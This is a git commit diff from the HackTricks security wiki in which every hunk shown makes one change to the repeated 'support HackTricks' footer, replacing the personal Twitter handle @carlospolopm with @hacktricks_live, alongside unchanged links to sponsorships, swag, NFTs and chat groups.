This commit is contained in:
Carlos Polop 2024-02-06 04:10:38 +01:00
parent aaa94e960b
commit 5c23ce2893
68 changed files with 1087 additions and 1652 deletions

View file

@ -11,7 +11,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -174,7 +174,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -898,7 +898,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -276,7 +276,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -121,7 +121,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -324,7 +324,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -845,7 +845,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -70,7 +70,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -492,7 +492,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -51,7 +51,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -92,7 +92,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -47,7 +47,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -335,7 +335,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -77,7 +77,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -1159,7 +1159,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -9,7 +9,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
@ -255,7 +255,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
